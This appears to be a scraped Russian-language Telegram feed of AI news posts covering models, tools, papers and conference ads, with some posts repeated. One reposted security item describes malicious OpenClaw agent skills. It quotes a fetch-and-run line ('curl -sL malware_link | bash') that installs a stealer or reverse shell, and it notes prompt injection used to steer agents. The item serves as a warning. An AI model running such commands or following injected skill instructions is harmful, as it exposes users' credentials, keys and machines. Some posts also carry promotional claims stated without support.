This media is not supported in your browser
VIEW IN TELEGRAM
🔥 Эти анимации были созданы на 100% с помощью искусственного интеллекта, используя Seedance 2.0.
Всё было сгенерировано на основе одного запроса, без ручной анимации.
Вы смотрите воссозданные бои, такие как Годзё Сатору против Рёмена Сукуны, сражения с участием Махораги и таких персонажей, как Саске Учиха, Тодзи Фусигуро и Юта Оккоцу.
Плавность, точность и эффектность дают понять: искусственный интеллект для 2D-анимации вышел на новый уровень.
Это не проверка. Это реальные перемены, происходящие прямо сейчас.
Всё было сгенерировано на основе одного запроса, без ручной анимации.
Вы смотрите воссозданные бои, такие как Годзё Сатору против Рёмена Сукуны, сражения с участием Махораги и таких персонажей, как Саске Учиха, Тодзи Фусигуро и Юта Оккоцу.
Плавность, точность и эффектность дают понять: искусственный интеллект для 2D-анимации вышел на новый уровень.
Это не проверка. Это реальные перемены, происходящие прямо сейчас.
👏10🥱5🤣4👍2🥴2
⚡️ Очень интересная работа которая показывает, что большие модели можно значительно улучшить в задачах рассуждения, обновляя… почти ноль параметров.
Метод называется TinyLoRA и отвечает на вопрос:
*насколько сильно нужно менять большую модель, чтобы она начала лучше думать?*
Ответ: почти никак.
Главный результат
Модель Qwen2.5-7B-Instruct после RL:
- Базовый результат GSM8K: ~76%
- 91% pass@1, обучая всего 13 параметров (это ~26 байт!)
- 95% при обновлении всего 120 параметров
Ранее считалось, что для улучшения reasoning нужны:
- полный fine-tuning (миллиарды весов)
или
- LoRA-адаптеры (миллионы параметров)
TinyLoRA уменьшает LoRA до предела.
Как это работает
- Используется SVD слоёв модели (замороженные направления)
- Вместо матрицы LoRA обучается крошечный вектор
- Один и тот же вектор может использоваться сразу в нескольких слоях
- В итоге — от сотен параметров до буквально единиц
Почему это работает
Ключ - Reinforcement Learning с проверяемой наградой:
- RL усиливает только признаки, связанные с результатом
- «Шум» от неважных изменений взаимно компенсируется
- В отличие от supervised fine-tuning, который должен подгонять каждый токен
Дополнительные результаты
На сложных математических бенчмарках:
- 196 параметров TinyLoRA → почти уровень полного fine-tuning
- Средний результат: 53.2 vs 55.2 (TinyLoRA vs full finetune)
Важный вывод
Чем больше модель, тем меньше параметров нужно обновлять.
Адаптация reasoning - это не добавление новых знаний, а тонкая настройка уже существующих «цепей» мышления.
Ограничения
Метод показан в основном на математических задачах.
Не факт, что он так же хорошо работает для:
- креативных задач
- текстов
- научного письма
Почему это важно
RL с проверяемой наградой становится ультра-экономичным каналом управления моделью:
- минимальные обновления
- удобно для multi-tenant систем
- снижает стоимость распределённого обучения
- открывает путь к сверхдешёвому post-training
- https://arxiv.org/abs/2602.04118
Метод называется TinyLoRA и отвечает на вопрос:
*насколько сильно нужно менять большую модель, чтобы она начала лучше думать?*
Ответ: почти никак.
Главный результат
Модель Qwen2.5-7B-Instruct после RL:
- Базовый результат GSM8K: ~76%
- 91% pass@1, обучая всего 13 параметров (это ~26 байт!)
- 95% при обновлении всего 120 параметров
Ранее считалось, что для улучшения reasoning нужны:
- полный fine-tuning (миллиарды весов)
или
- LoRA-адаптеры (миллионы параметров)
TinyLoRA уменьшает LoRA до предела.
Как это работает
- Используется SVD слоёв модели (замороженные направления)
- Вместо матрицы LoRA обучается крошечный вектор
- Один и тот же вектор может использоваться сразу в нескольких слоях
- В итоге — от сотен параметров до буквально единиц
Почему это работает
Ключ - Reinforcement Learning с проверяемой наградой:
- RL усиливает только признаки, связанные с результатом
- «Шум» от неважных изменений взаимно компенсируется
- В отличие от supervised fine-tuning, который должен подгонять каждый токен
Дополнительные результаты
На сложных математических бенчмарках:
- 196 параметров TinyLoRA → почти уровень полного fine-tuning
- Средний результат: 53.2 vs 55.2 (TinyLoRA vs full finetune)
Важный вывод
Чем больше модель, тем меньше параметров нужно обновлять.
Адаптация reasoning - это не добавление новых знаний, а тонкая настройка уже существующих «цепей» мышления.
Ограничения
Метод показан в основном на математических задачах.
Не факт, что он так же хорошо работает для:
- креативных задач
- текстов
- научного письма
Почему это важно
RL с проверяемой наградой становится ультра-экономичным каналом управления моделью:
- минимальные обновления
- удобно для multi-tenant систем
- снижает стоимость распределённого обучения
- открывает путь к сверхдешёвому post-training
- https://arxiv.org/abs/2602.04118
👍21❤9🥰5
Forwarded from Анализ данных (Data analysis)
DeepWiki - это инструмент, который превращает любой GitHub-проект в интерактивную документацию с AI.
Просто замените в ссылке:
github.com → deepwiki.com
И вы получите:
- автоматически сгенерированную wiki по проекту
- объяснение архитектуры
- разбор ключевых файлов
- ответы на вопросы прямо по коду
Пример:
https://deepwiki.com/karpathy/nanochat
Почему это удобно
Обычная документация часто:
- устаревшая
- неполная
- не объясняет, как всё реально работает
DeepWiki анализирует сам код — источник истины — и строит объяснения на его основе.
Можно быстро узнать:
- как устроена архитектура
- где реализована нужная функция
- как работает конкретный модуль
- какие зависимости используются
Практическая польза
- Быстрое изучение чужих репозиториев
- Онбординг в новый проект
- Поиск логики без ручного чтения сотен файлов
- Подготовка к собеседованиям
- Работа AI-агентов с кодом через MCP
Главная идея
Теперь код можно не читать построчно.
Можно задавать вопросы репозиторию и получать готовые объяснения.
Это новый способ изучения и использования open-source.
@data_analysis_ml
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11👍5🔥3🤪2
🎨 Создавайте изолированные экземпляры Claude Code с CC-MIRROR
CC-MIRROR позволяет создавать несколько изолированных экземпляров Claude Code, подключенных к различным AI-провайдерам. Каждый экземпляр имеет свои настройки, сессии и темы, обеспечивая полную независимость.
🚀 Основные моменты:
- Поддержка нескольких провайдеров: Z.ai, MiniMax, OpenRouter и др.
- Полная изоляция конфигураций и сессий.
- Настраиваемые темы для каждого провайдера.
- Удобный интерфейс для запуска экземпляров из терминала.
📌 GitHub: https://github.com/numman-ali/cc-mirror
CC-MIRROR позволяет создавать несколько изолированных экземпляров Claude Code, подключенных к различным AI-провайдерам. Каждый экземпляр имеет свои настройки, сессии и темы, обеспечивая полную независимость.
🚀 Основные моменты:
- Поддержка нескольких провайдеров: Z.ai, MiniMax, OpenRouter и др.
- Полная изоляция конфигураций и сессий.
- Настраиваемые темы для каждого провайдера.
- Удобный интерфейс для запуска экземпляров из терминала.
📌 GitHub: https://github.com/numman-ali/cc-mirror
❤3👍2🔥2
This media is not supported in your browser
VIEW IN TELEGRAM
Это облегченная высокоскоростная версия GPT-5.3-Codex со скоростью генерации больше 1000 токенов в секунду, окном в 128k, которая работает на ускорителях Cerebras Wafer Scale Engine 3.
OpenAI называет ее моделью для кодинга в реальном времени.
Чтобы первый токен отдавался в 2 раза быстрее, чем на Сodex, перетряхнули всю архитектуру: поменяли железо, оптимизировали сеть и перешли на постоянный коннект через WebSocket.
Если есть подписка ChatGPT Pro - уже можно пробовать в VS Code или CLI.
@ai_machinelearning_big_data
#news #ai #ml
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7❤6🤣5🔥3💔2
🚀 Ring-2.5-1T — первый гибридный linear thinking-модель на 1 триллион параметров.
Что важно:
- 🧠 1T MoE, но активно только 63B параметров — высокая эффективность без огромных затрат
- ⚡ Hybrid Linear архитектура
- до 10× меньше памяти
- до 3× выше throughput на длинном контексте
- 📊 Gold-tier reasoning
- IMO25: 35/42
- CMO25: 105/126
- 🤖 Agent-native
- совместим с Claude Code, OpenClaw, SGLang
- ⏱️ Long-horizon способности
- автономно собрал 32-битную операционную систему за 2 часа
Это уже не просто LLM.
Это модели, которые:
- планируют на длинные горизонты
- работают как автономные агенты
- пишут сложные системы без постоянного контроля
Model: https://modelscope.cn/models/inclusionAI/Ring-2.5-1T
GitHub: https://github.com/inclusionAI/Ring-V2.5
Что важно:
- 🧠 1T MoE, но активно только 63B параметров — высокая эффективность без огромных затрат
- ⚡ Hybrid Linear архитектура
- до 10× меньше памяти
- до 3× выше throughput на длинном контексте
- 📊 Gold-tier reasoning
- IMO25: 35/42
- CMO25: 105/126
- 🤖 Agent-native
- совместим с Claude Code, OpenClaw, SGLang
- ⏱️ Long-horizon способности
- автономно собрал 32-битную операционную систему за 2 часа
Это уже не просто LLM.
Это модели, которые:
- планируют на длинные горизонты
- работают как автономные агенты
- пишут сложные системы без постоянного контроля
Model: https://modelscope.cn/models/inclusionAI/Ring-2.5-1T
GitHub: https://github.com/inclusionAI/Ring-V2.5
👍10❤8🔥5🤔1
⚡ Anthropic выложили 6 полноценных курсов по ИИ - бесплатно.
По уровню это легко заменяет обучение на десятки или даже сотни тысяч рублей.
Внутри:
- сотни уроков и практики
- интерактивные задания и квизы
- реальные кейсы работы с Claude
- сертификаты после прохождения
Если работаешь с AI, агентами или API - это база, которую сейчас проходят разработчики в топ-компаниях.
Что можно изучить:
• Работа с Claude API
https://anthropic.skilljar.com/claude-with-the-anthropic-api
• Введение в Model Context Protocol (MCP)
https://anthropic.skilljar.com/introduction-to-model-context-protocol
• Claude в Amazon Bedrock
https://anthropic.skilljar.com/claude-in-amazon-bedrock
• Claude в Google Cloud (Vertex AI)
https://anthropic.skilljar.com/claude-with-google-vertex
• Продвинутый MCP
https://anthropic.skilljar.com/model-context-protocol-advanced-topics
• Claude Code на практике
https://anthropic.skilljar.com/claude-code-in-action
Это не «обзорные лекции».
Это реальные навыки для тех, кто хочет строить AI-продукты, агентов и автоматизацию.
По уровню это легко заменяет обучение на десятки или даже сотни тысяч рублей.
Внутри:
- сотни уроков и практики
- интерактивные задания и квизы
- реальные кейсы работы с Claude
- сертификаты после прохождения
Если работаешь с AI, агентами или API - это база, которую сейчас проходят разработчики в топ-компаниях.
Что можно изучить:
• Работа с Claude API
https://anthropic.skilljar.com/claude-with-the-anthropic-api
• Введение в Model Context Protocol (MCP)
https://anthropic.skilljar.com/introduction-to-model-context-protocol
• Claude в Amazon Bedrock
https://anthropic.skilljar.com/claude-in-amazon-bedrock
• Claude в Google Cloud (Vertex AI)
https://anthropic.skilljar.com/claude-with-google-vertex
• Продвинутый MCP
https://anthropic.skilljar.com/model-context-protocol-advanced-topics
• Claude Code на практике
https://anthropic.skilljar.com/claude-code-in-action
Это не «обзорные лекции».
Это реальные навыки для тех, кто хочет строить AI-продукты, агентов и автоматизацию.
👍18🔥13❤8🥴3😢1🥱1
MiniMax-2.5 теперь можно запускать локально 🚀
Модель на 230B параметров - одна из самых мощных среди LLM меньше 700B. Она показывает топовые результаты в агентных задачах, программировании и диалогах.
• Поддерживается динамическая 3/4-битная квантизация
• Можно запустить на Mac с 128 GB RAM
• Скорость - около 20 токенов/сек
Подходит для локальных AI-агентов, кодинга и приватной работы без облака
Это ещё один шаг к тому, что мощные модели постепенно переезжают с дата-центров на локальные машины.
Guide: https://unsloth.ai/docs/models/minimax-2.5
GGUF: https://huggingface.co/unsloth/MiniMax-M2.5-GGUF
Модель на 230B параметров - одна из самых мощных среди LLM меньше 700B. Она показывает топовые результаты в агентных задачах, программировании и диалогах.
• Поддерживается динамическая 3/4-битная квантизация
• Можно запустить на Mac с 128 GB RAM
• Скорость - около 20 токенов/сек
Подходит для локальных AI-агентов, кодинга и приватной работы без облака
Это ещё один шаг к тому, что мощные модели постепенно переезжают с дата-центров на локальные машины.
Guide: https://unsloth.ai/docs/models/minimax-2.5
GGUF: https://huggingface.co/unsloth/MiniMax-M2.5-GGUF
❤12🔥7👍5
Forwarded from Rust
🦀 Strand-Rust-Coder-14B - модель, заточенная специально под генерациию Rust кода.
Это не универсальный «кодинг-ассистент».
Модель дообучена именно на экосистеме Rust и пишет код на уровне опытного разработчика:
- идиоматичный Rust
- безопасная работа с памятью
- корректные async и ownership-паттерны
- акцент на производительность и системные задачи
Большинство моделей хорошо знают Python и JavaScript, но часто «путаются» в borrow checker, lifetimes и сложных Rust-конструкциях.
Strand-Rust-Coder решает именно эту проблему - фокус на системном программировании, low-level задачах и performance-critical приложениях.
https://huggingface.co/Fortytwo-Network/Strand-Rust-Coder-14B-v1
@rust_code
Это не универсальный «кодинг-ассистент».
Модель дообучена именно на экосистеме Rust и пишет код на уровне опытного разработчика:
- идиоматичный Rust
- безопасная работа с памятью
- корректные async и ownership-паттерны
- акцент на производительность и системные задачи
Большинство моделей хорошо знают Python и JavaScript, но часто «путаются» в borrow checker, lifetimes и сложных Rust-конструкциях.
Strand-Rust-Coder решает именно эту проблему - фокус на системном программировании, low-level задачах и performance-critical приложениях.
https://huggingface.co/Fortytwo-Network/Strand-Rust-Coder-14B-v1
@rust_code
❤11🔥6👍3👏3
⚡️ Исследование показало: если просто повторить один и тот же запрос дважды, точность LLM заметно растёт.
В тесте на поиск элемента в длинном списке результат одной модели вырос с 21% до 97%.
Никакого файнтюнинга, дополнительных вычислений или хитрого промпт-инжиниринга не требуется, только дублирование первоначального промпта.
Модели обрабатывают текст слева направо и ограничены причинным вниманием.
Дублирование входа даёт токенам второй шанс «увидеть» полный контекст и улучшает связи внимания.
Эффект подтверждён на 7 бенчмарках и 7 моделях (GPT-4o, Claude, Gemini, DeepSeek), особенно в задачах поиска, извлечения и работы с длинным контекстом. При этом время ответа и длина генерации почти не меняются.
Рост качества вывода моделей всё чаще достигается не увеличением моделей, а управлением подачей контекста. Побеждают архитектуры и практики, которые компенсируют ограничения внимания на уровне системы.
Статья https://arxiv.org/pdf/2512.14982
В тесте на поиск элемента в длинном списке результат одной модели вырос с 21% до 97%.
Никакого файнтюнинга, дополнительных вычислений или хитрого промпт-инжиниринга не требуется, только дублирование первоначального промпта.
Модели обрабатывают текст слева направо и ограничены причинным вниманием.
Дублирование входа даёт токенам второй шанс «увидеть» полный контекст и улучшает связи внимания.
Эффект подтверждён на 7 бенчмарках и 7 моделях (GPT-4o, Claude, Gemini, DeepSeek), особенно в задачах поиска, извлечения и работы с длинным контекстом. При этом время ответа и длина генерации почти не меняются.
Рост качества вывода моделей всё чаще достигается не увеличением моделей, а управлением подачей контекста. Побеждают архитектуры и практики, которые компенсируют ограничения внимания на уровне системы.
Статья https://arxiv.org/pdf/2512.14982
👍17❤7🤔2🙈2🔥1
Открыта регистрация на главную конференцию этой весны по технологиям ИИ и анализу данных — Data Fusion* 2026! 💙
Шестая ежегодная конференция Data Fusion пройдет 8–9 апреля в Москве в инновационном кластере «Ломоносов».
60+ актуальных сессий, докладов, кейсов, дискуссий по теме анализа данных/ DS/ ML. Среди тем – ИИ-агенты, RL, CV, NLP, Open Source, Embodied AI и робототехника, рекомендательные системы, применение ИИ в кибербезопасности, AI+ естественные науки, AgentOps и многое другое! Всю программу ищите на сайте (подавайте ваши доклады, welcome!).
Конференция объединит лидов ML-команд, DS-специалистов, молодых ученых, инженеров, аналитиков и руководителей, принимающих решения о внедрении технологий в бизнес и государственные сервисы.
Среди спикеров конференции: Суржко Денис (ВТБ), Оселедец Иван (AIRI), Райгородский Андрей (МФТИ), Бурнаев Евгений (Сколтех,AIRI), Саркисов Тигран (Х5), Крайнов Александр (Яндекс), Зима Андрей (Ростелеком) и другие эксперты из науки и индустрии.
Все мы любим конференции не только ради знаний, но и, конечно, ради нетворкинга и новых знакомств! Живое общение в кругу коллег, друзей и единомышленников – важная часть Data Fusion!
➡ Не пропустите, регистрируйтесь.
*Data Fusion — Объединение данных
Информация о рекламодателе
Шестая ежегодная конференция Data Fusion пройдет 8–9 апреля в Москве в инновационном кластере «Ломоносов».
60+ актуальных сессий, докладов, кейсов, дискуссий по теме анализа данных/ DS/ ML. Среди тем – ИИ-агенты, RL, CV, NLP, Open Source, Embodied AI и робототехника, рекомендательные системы, применение ИИ в кибербезопасности, AI+ естественные науки, AgentOps и многое другое! Всю программу ищите на сайте (подавайте ваши доклады, welcome!).
Конференция объединит лидов ML-команд, DS-специалистов, молодых ученых, инженеров, аналитиков и руководителей, принимающих решения о внедрении технологий в бизнес и государственные сервисы.
Среди спикеров конференции: Суржко Денис (ВТБ), Оселедец Иван (AIRI), Райгородский Андрей (МФТИ), Бурнаев Евгений (Сколтех,AIRI), Саркисов Тигран (Х5), Крайнов Александр (Яндекс), Зима Андрей (Ростелеком) и другие эксперты из науки и индустрии.
Все мы любим конференции не только ради знаний, но и, конечно, ради нетворкинга и новых знакомств! Живое общение в кругу коллег, друзей и единомышленников – важная часть Data Fusion!
*Data Fusion — Объединение данных
Информация о рекламодателе
Please open Telegram to view this post
VIEW IN TELEGRAM
❤1
Это reasoning-LLM, специально обученный искать уязвимости так, как это делает пентестер.
Главная особенность:
Модель не просто ищет подозрительные паттерны.
Она рассуждает по потокам данных и логике выполнения, чтобы понять, где именно возникает риск.
Что умеет VulnLLM-R-7B:
— Анализирует data flow и control flow, а не только синтаксис
— Проводит пошаговый разбор уязвимости
— Объясняет почему код опасен простым языком
— Работает с реальными сценариями, а не только с учебными примерами
По результатам тестов:
— Показывает state-of-the-art на наборах PrimeVul и Juliet
— Обходит CodeQL, традиционные статические анализаторы и даже крупные коммерческие LLM
— При этом модель компактная — всего 7B параметров, быстрее и дешевле в использовании
Безопасность кода постепенно переходит от «поиска шаблонов» к логическому анализу поведения программы.
И небольшие специализированные модели начинают выигрывать у больших универсальных.
Модель: huggingface.co/UCSB-SURFI/VulnLLM-R-7B
Please open Telegram to view this post
VIEW IN TELEGRAM
❤10👍3🥰2
Открыта регистрация на главную конференцию этой весны по технологиям ИИ и анализу данных — Data Fusion* 2026! 💙
Шестая ежегодная конференция Data Fusion пройдет 8–9 апреля в Москве в инновационном кластере «Ломоносов».
60+ актуальных сессий, докладов, кейсов, дискуссий по теме анализа данных/ DS/ ML. Среди тем – ИИ-агенты, RL, CV, NLP, Open Source, Embodied AI и робототехника, рекомендательные системы, применение ИИ в кибербезопасности, AI+ естественные науки, AgentOps и многое другое! Всю программу ищите на сайте (подавайте ваши доклады, welcome!).
Конференция объединит лидов ML-команд, DS-специалистов, молодых ученых, инженеров, аналитиков и руководителей, принимающих решения о внедрении технологий в бизнес и государственные сервисы.
Среди спикеров конференции: Суржко Денис (ВТБ), Оселедец Иван (AIRI), Райгородский Андрей (МФТИ), Бурнаев Евгений (Сколтех,AIRI), Саркисов Тигран (Х5), Крайнов Александр (Яндекс), Зима Андрей (Ростелеком) и другие эксперты из науки и индустрии.
Все мы любим конференции не только ради знаний, но и, конечно, ради нетворкинга и новых знакомств! Живое общение в кругу коллег, друзей и единомышленников – важная часть Data Fusion!
➡ Не пропустите, регистрируйтесь.
*Data Fusion — Объединение данных
Информация о рекламодателе
Шестая ежегодная конференция Data Fusion пройдет 8–9 апреля в Москве в инновационном кластере «Ломоносов».
60+ актуальных сессий, докладов, кейсов, дискуссий по теме анализа данных/ DS/ ML. Среди тем – ИИ-агенты, RL, CV, NLP, Open Source, Embodied AI и робототехника, рекомендательные системы, применение ИИ в кибербезопасности, AI+ естественные науки, AgentOps и многое другое! Всю программу ищите на сайте (подавайте ваши доклады, welcome!).
Конференция объединит лидов ML-команд, DS-специалистов, молодых ученых, инженеров, аналитиков и руководителей, принимающих решения о внедрении технологий в бизнес и государственные сервисы.
Среди спикеров конференции: Суржко Денис (ВТБ), Оселедец Иван (AIRI), Райгородский Андрей (МФТИ), Бурнаев Евгений (Сколтех,AIRI), Саркисов Тигран (Х5), Крайнов Александр (Яндекс), Зима Андрей (Ростелеком) и другие эксперты из науки и индустрии.
Все мы любим конференции не только ради знаний, но и, конечно, ради нетворкинга и новых знакомств! Живое общение в кругу коллег, друзей и единомышленников – важная часть Data Fusion!
*Data Fusion — Объединение данных
Информация о рекламодателе
Please open Telegram to view this post
VIEW IN TELEGRAM
❤6
Forwarded from Machinelearning
Y Combinator выложил на Youtube почти часовой выпуск подкаста Lightcone Podcast с Борисом Черным, создателем Claude Code в Anthropic. Мы собрали для вас ключевые темы, цитаты и утверждения.
Стратегия Anthropic при создании инструментов заключается в опережении текущих возможностей ИИ.
Главный совет фаундерам: не подстраивайте продукт под ограничения сегодняшних моделей. Стройте его для модели, которая выйдет через полгода. Если сегодня модель глупая, через 6 месяцев она поумнеет, и ваш продукт должен быть к этому готов.
Принцип "Scaffolding" : обвязка вокруг модели может улучшить производительность на 10-20%, но следующая версия модели часто нивелирует этот выигрыш. Либо вы строите обвязку для временного прироста, либо ждете новую модель и получаете прирост бесплатно.
CLAUDE.md часто переусложняют. Борис рекомендует удалять его и начинать заново, так как с каждой новой моделью требуется меньше инструкций.
Внутренняя статистика Anthropic показывает радикальное изменение в процессах разработки.
Инженер Anthropic сейчас в 1000 раз продуктивнее инженера Google на пике их формы.
После внедрения Claude Code продуктивность внутри Anthropic выросла на 150% (измеряется по количеству PR, коммитов и их жизненному циклу). Ранее годовой рост на 2% считался успехом (личный опыт Бориса у Цукерберга).
CEO Anthropic предсказывал, что 90% кода будет писать ИИ. Борис утверждает, что с выходом Opus 4.5 эта цифра достигла 100%.
Борис удалил свою IDE. Он не редактирует ни одной строчки кода вручную. Весь процесс идет через Claude Code в терминале.
Первый инструмент, который дали модели был bash.
Инженер Anthropic Крис нашел утечку памяти, просто попросив Claude Code: "Найди утечку". Агент снял heap dump, написал инструмент для анализа дампа, нашел утечку и предложил фикс быстрее человека.
Рекурсивная отладка: можно загрузить транскрипт сессии кодинга обратно в Claude, чтобы отладить самого агента.
Идея CLAUDE.md родилась из наблюдения скрытого спроса: инженеры сами писали markdown-файлы с контекстом для скармливания модели.
Личный CLAUDE.md Бориса содержит всего две строки:
1. При создании PR включать auto-merge.
2. Постить ссылку на PR во внутренний канал Slack.
Если Claude совершает ошибку, команда тегает его в PR (командой /add claude), чтобы он исправил код и обновил правила в CLAUDE.md для предотвращения рецидивов.
Эволюция идет от простого выполнения команд к сложному планированию и роям агентов.
Plan Mode: Режим, где модель сначала расписывает шаги, а потом выполняет.
Промпт для Plan Mode технически прост: к запросу добавляется фраза "Пожалуйста, не пиши код, а сначала спланируй".
Функция "Plugins" была написана роем агентов за выходные без участия человека: инженеры дали спецификацию и доступ к Asana. Главный агент спавнил субагентов, раздавал задачи из доски, а те писали код.
Стратегия "Mama Claude": основной инстанс Claude Code рекурсивно вызывает субагентов (другие инстансы Claude Code) для решения подзадач.
Биомодальное распределение эффективных сотрудников:
Гипер-специалисты: кандидаты с глубоким знанием devtools, runtime, оптимизаций.
Гипер-дженералисты: люди, совмещающие роли Product, Infra, Design.
Product Engineer исчезает как термин, все становятся "Builders".
В Anthropic код пишут все: дизайнеры, финансисты и менеджеры.
@ai_machinelearning_big_data
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍6
Forwarded from Machinelearning
⚡️ VK внедряет VLM в поиск VK Видео
VK начала внедрение визуально-языковых моделей в поисковые системы своих продуктов. Технология уже работает в VK Видео. Теперь система анализирует не только название и описание ролика, но и сами кадры, звук и видеоряд.
Тестирование гипотез ускорилось в 5 раз, новые улучшения внедряются заметно быстрее, а поиск будет развиваться динамичнее.
Технология также усилит векторный поиск. Система будет опираться не только на семантическое совпадение слов, но и на реальное содержание видео через анализ аудио и визуальных признаков.
Подобные мультимодальные подходы развивают Microsoft, Google и TikTok. Обновление поэтапно появится и в других сервисах VK.
@ai_machinelearning_big_data
#news #ai #ml #VK
VK начала внедрение визуально-языковых моделей в поисковые системы своих продуктов. Технология уже работает в VK Видео. Теперь система анализирует не только название и описание ролика, но и сами кадры, звук и видеоряд.
Тестирование гипотез ускорилось в 5 раз, новые улучшения внедряются заметно быстрее, а поиск будет развиваться динамичнее.
Технология также усилит векторный поиск. Система будет опираться не только на семантическое совпадение слов, но и на реальное содержание видео через анализ аудио и визуальных признаков.
Подобные мультимодальные подходы развивают Microsoft, Google и TikTok. Обновление поэтапно появится и в других сервисах VK.
@ai_machinelearning_big_data
#news #ai #ml #VK
😁14❤11💊5👍3🥰3👏2🔥1
Forwarded from Kali Linux
В маркетплейсе навыков OpenClaw самый скачиваемый скилл оказался вредоносным.
Что произошло
- Обнаружено 1 184 вредоносных навыка
- Один атакующий загрузил 677 пакетов
- Плагины маскировались под:
- crypto-боты
- YouTube-саммаризаторы
- wallet-трекеры
- Документация выглядела профессионально и вызывала доверие
Как работала атака
В файле SKILL.md скрывалась инструкция:
curl -sL malware_link | bashПосле выполнения устанавливался Atomic Stealer (macOS), который собирал:
- пароли браузеров
- SSH-ключи
- Telegram-сессии
- криптокошельки
- API-ключи из .env
- данные из Keychain
На других системах открывался reverse shell — атакующий получал полный удалённый доступ к машине.
Дополнительно
- Топ-1 скилл (What Would Elon Do) содержал 9 уязвимостей, из них 2 критические
- Использовал prompt injection для обхода защит
- Рейтинг был накручен
- Скачан тысячи раз
Почему это важно
ClawHub позволял публиковать плагины любому — достаточно GitHub-аккаунта старше одной недели.
Теперь риск выше, чем в классических supply chain атаках.
Раньше:
— вредоносный пакет выполнялся автоматически
Теперь:
— плагин убеждает пользователя или агента выполнить команду
— AI сам может получить доступ к системе, данным и ключам
AI-агенты становятся новой целью supply chain-атак.
Если агент имеет доступ к файлам, терминалу и API — вредоносный скилл получает доступ ко всей цифровой инфраструктуре.
Вывод
Перед установкой AI-плагинов:
- проверяйте исходный код
- не запускайте команды из документации вслепую
- ограничивайте доступ агента к системе и ключам
В эпоху агентного AI безопасность важнее удобства.
@linuxkalii
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9🔥4😱2👍1
Перед вами релиза за февраль… всего за 19 дней мире 👇
19–20 февраля - Gemini 3.1 Pro**
Улучшенное программирование, более сильные агенты, увеличенный контекст.
18 февраля - Google Lyria 3
Генерирует 30-секундные музыкальные треки с вокалом по тексту, изображениям или видео.
17 февраля - Strand-Rust-Coder-14B - модель, заточенная специально под генерациию Rust кода.
17 февраля - Claude Sonnet 4.6
Быстрая модель для программирования и сложного логического рассуждения.
17 февраля - Fujitsu AI Dev Platform
Платформа, которая автоматизирует полный цикл разработки программного обеспечения.
16 февраля - Qwen 3.5
Более дешёвая и мощная модель с упором на агентные сценарии.
12 февраля - Gemini 3 Deep Think
Создана для научных задач и сложных исследований.
12 февраля - MiniMax M2.5
Открытая модель с сильными возможностями в программировании.
12 февраля - Seedance 2.0
Реалистичное генеративное видео 1080p по тексту.
11 февраля - GLM-5
Крупная открытая модель с сильным логическим мышлением.
10 февраля - RynnBrain
AI для робототехники и работы с физическим миром.
5 февраля - Claude Opus 4.6*
Крупное обновление для программирования и работы с инструментами.
5 февраля - GPT-5.3 Codex
Более быстрый GPT, ориентированный на разработку.
5 февраля - Kling 3.0
Генерация видео в 4K со звуком.
Темп ИИ-релизов уже измеряется не месяцами - днями.
@machinelearning_interview
19–20 февраля - Gemini 3.1 Pro**
Улучшенное программирование, более сильные агенты, увеличенный контекст.
18 февраля - Google Lyria 3
Генерирует 30-секундные музыкальные треки с вокалом по тексту, изображениям или видео.
17 февраля - Strand-Rust-Coder-14B - модель, заточенная специально под генерациию Rust кода.
17 февраля - Claude Sonnet 4.6
Быстрая модель для программирования и сложного логического рассуждения.
17 февраля - Fujitsu AI Dev Platform
Платформа, которая автоматизирует полный цикл разработки программного обеспечения.
16 февраля - Qwen 3.5
Более дешёвая и мощная модель с упором на агентные сценарии.
12 февраля - Gemini 3 Deep Think
Создана для научных задач и сложных исследований.
12 февраля - MiniMax M2.5
Открытая модель с сильными возможностями в программировании.
12 февраля - Seedance 2.0
Реалистичное генеративное видео 1080p по тексту.
11 февраля - GLM-5
Крупная открытая модель с сильным логическим мышлением.
10 февраля - RynnBrain
AI для робототехники и работы с физическим миром.
5 февраля - Claude Opus 4.6*
Крупное обновление для программирования и работы с инструментами.
5 февраля - GPT-5.3 Codex
Более быстрый GPT, ориентированный на разработку.
5 февраля - Kling 3.0
Генерация видео в 4K со звуком.
Темп ИИ-релизов уже измеряется не месяцами - днями.
@machinelearning_interview
🔥8❤2👍2
💼 5 AI-репозиториев, которые реально помогут устроиться на работу в 2026
Сохрани себе - это готовые идеи, которые можно собрать в портфолио и показать на собесе.
1) RAG с нуля (RAG from Scratch)
Поймёшь, как устроены retrieval, embeddings, чанкинг, ранжирование и ответы LLM.
GitHub: https://github.com/langchain-ai/rag-from-scratch
2) AI-агент для соцсетей (Social Media Agent)
Автоматизация контента: генерация постов, планирование, работа с трендами.
GitHub: https://github.com/langchain-ai/social-media-agent
3) Анализ медицинских изображений (Medical Image Analysis)
Компьютерное зрение + реальные кейсы: классификация, сегментация, пайплайны.
GitHub: https://github.com/databricks-industry-solutions/pixels
4) MCP Tool-Calling агенты
Агенты, которые умеют вызывать инструменты и внешние сервисы (LangGraph + MCP).
Notebook: https://docs.databricks.com/aws/en/notebooks/source/generative-ai/langgraph-mcp-tool-calling-agent.html
5) AI-ассистент с памятью (Assistant with Memory)
Персонализация: хранение контекста, long-term memory, улучшение диалогов со временем.
GitHub: https://github.com/Makememo/MemoAI
Если хочешь войти в AI - собирай не “игрушки”, а проекты, которые показывают реальные навыки.
Сохрани себе - это готовые идеи, которые можно собрать в портфолио и показать на собесе.
1) RAG с нуля (RAG from Scratch)
Поймёшь, как устроены retrieval, embeddings, чанкинг, ранжирование и ответы LLM.
GitHub: https://github.com/langchain-ai/rag-from-scratch
2) AI-агент для соцсетей (Social Media Agent)
Автоматизация контента: генерация постов, планирование, работа с трендами.
GitHub: https://github.com/langchain-ai/social-media-agent
3) Анализ медицинских изображений (Medical Image Analysis)
Компьютерное зрение + реальные кейсы: классификация, сегментация, пайплайны.
GitHub: https://github.com/databricks-industry-solutions/pixels
4) MCP Tool-Calling агенты
Агенты, которые умеют вызывать инструменты и внешние сервисы (LangGraph + MCP).
Notebook: https://docs.databricks.com/aws/en/notebooks/source/generative-ai/langgraph-mcp-tool-calling-agent.html
5) AI-ассистент с памятью (Assistant with Memory)
Персонализация: хранение контекста, long-term memory, улучшение диалогов со временем.
GitHub: https://github.com/Makememo/MemoAI
Если хочешь войти в AI - собирай не “игрушки”, а проекты, которые показывают реальные навыки.
👍16😍8❤5💘2🙈1
🧬 Qwen3-Coder-Next стал доступен через API
Alibaba выпустила open-source версию Qwen3-Coder-Next и открыла к ней доступ через Alibaba Cloud Model Studio.
